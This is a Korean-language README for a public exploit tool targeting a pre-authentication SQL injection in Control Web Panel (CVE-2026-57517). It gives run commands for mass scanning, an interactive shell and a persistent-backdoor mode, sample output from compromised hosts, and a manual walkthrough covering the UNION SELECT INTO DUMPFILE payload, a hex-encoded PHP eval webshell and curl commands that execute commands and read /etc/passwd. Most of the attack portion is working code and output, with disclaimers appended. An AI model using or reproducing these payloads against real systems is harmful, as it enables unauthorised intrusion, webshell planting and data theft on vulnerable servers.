
💉 블라인드 SQL 인젝션 → Control Web Panel(CWP) ≤ 0.9.8.1224용 RCE 익스플로잇 — userRes POST → INTO DUMPFILE → cwpsvc 셸
CVE-2026-57517은 Control Web Panel(CWP) 버전 ≤ 0.9.8.1224에서 발생하는 치명적인 사전 인증(pre-authentication) 블라인드 SQL 인젝션 취약점입니다. 사용자 패널 엔드포인트의 userRes POST 파라미터는 SQL 쿼리에 포함되기 전에 검증되지 않습니다. 쿼리는 전역 권한을 보유한 권한으로 실행되므로, 공격자는 을 통해 임의의 파일을 작성할 수 있습니다.
FILEINTO DUMPFILE일반적인 공격 체인은 웹에서 접근 가능한 Roundcube 로그 디렉터리에 PHP 웹셸을 배포하여 cwpsvc 서비스 계정으로 원격 코드 실행을 달성합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (치명적) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 유형 | CWE-89 — 블라인드 SQL 인젝션(사전 인증) |
| 영향받는 버전 | Control Web Panel ≤ 0.9.8.1224 |
| 수정 버전 | 버전 0.9.8.1225 |
| 공개일 | 2026년 7월 1일 |
| 연구자 | Egidio Romano (Karma In Security) |
| PoC | 공개 — KIS-2026-12 |
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100
# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt
# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Single target host
-f, --file File with targets (one per line)
-u, --username CWP username (skips auto-detection)
-o, --output Live TXT output file
--json JSON report file
--threads Concurrent workers (default: 20)
--timeout Request timeout seconds (default: 15)
--no-cleanup Leave shells on target
--rce Interactive shell mode
-v, --verbose Verbose output
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
1단계 — 포트 2083에서 CWP 접근 가능 여부 확인
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
2단계 — 사용자 이름 검증
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists
3단계 — userRes를 통한 SQL 인젝션
페이로드는 13열 UNION SELECT를 사용하며, INTO DUMPFILE을 통해 기록되는 hex 인코딩 PHP 셸을 포함합니다:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
4단계 — 웹셸을 통한 명령 실행(포트 2031)
배포된 PHP 셸은 C: HTTP 헤더에서 명령을 읽습니다:
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
| 구성 요소 | 값 |
|---|---|
| SQL 열 | 13열 UNION SELECT |
| PHP 셸 | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Hex 인코딩 | MySQL 0x... hex 리터럴 |
| 기록 방식 | INTO DUMPFILE(바이너리 정확 파일 기록) |
| 대상 경로 | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| 명령 전달 | base64 인코딩된 PHP가 포함된 HTTP 헤더 C: |
| 명령 실행기 | passthru(base64_decode('{cmd}')) |
🚨 교육 및 승인된 테스트 목적으로만 사용하십시오
이 소프트웨어는 교육 목적 및 합법적인 보안 연구를 위해서만 제공됩니다. 다음의 사용자를 대상으로 합니다:
- 🛡️ 승인된 침투 테스트를 수행하는 보안 전문가
- 🏢 자체 CWP 인프라를 감사하는 조직
- 🔬 취약점 공격 기법을 연구하는 연구자
- 🎓 웹 애플리케이션 보안을 배우는 학생
❌ 이 소프트웨어를 다음 목적으로 사용해서는 안 됩니다:
- 명시적인 서면 승인 없이 컴퓨터 시스템에 접근하는 행위
- 소유하지 않은 시스템을 손상, 훼손 또는 방해하는 행위
- 모든 종류의 불법 활동에 참여하는 행위
⚖️ 법적 고지
승인되지 않은 컴퓨터 시스템 접근은 다음을 포함하되 이에 국한되지 않는 법률을 위반합니다:
- 미국: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- 인도네시아: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 본 도구의 사용으로 인해 발생하는 오용, 손상 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다. 본 소프트웨어를 사용함으로써 귀하는 자신의 행동에 전적인 책임이 있음을 인정하며 모든 관련 법률을 준수하는 데 동의합니다.
| 리소스 | 링크 |
|---|---|
| Karma In Security 보안 권고 | KIS-2026-12 |
| 원본 PoC | CVE-2026-57517.php |
| 전체 공개(Full Disclosure) | SecLists |
| OpenCVE | CVE-2026-57517 |
| CWP 변경 로그 | control-webpanel.com |
⚡ 보안 연구 및 교육을 위해 제작됨 ⚡
이 프로젝트는 Control Web Panel 또는 Apache Software Foundation과 관련이 없습니다.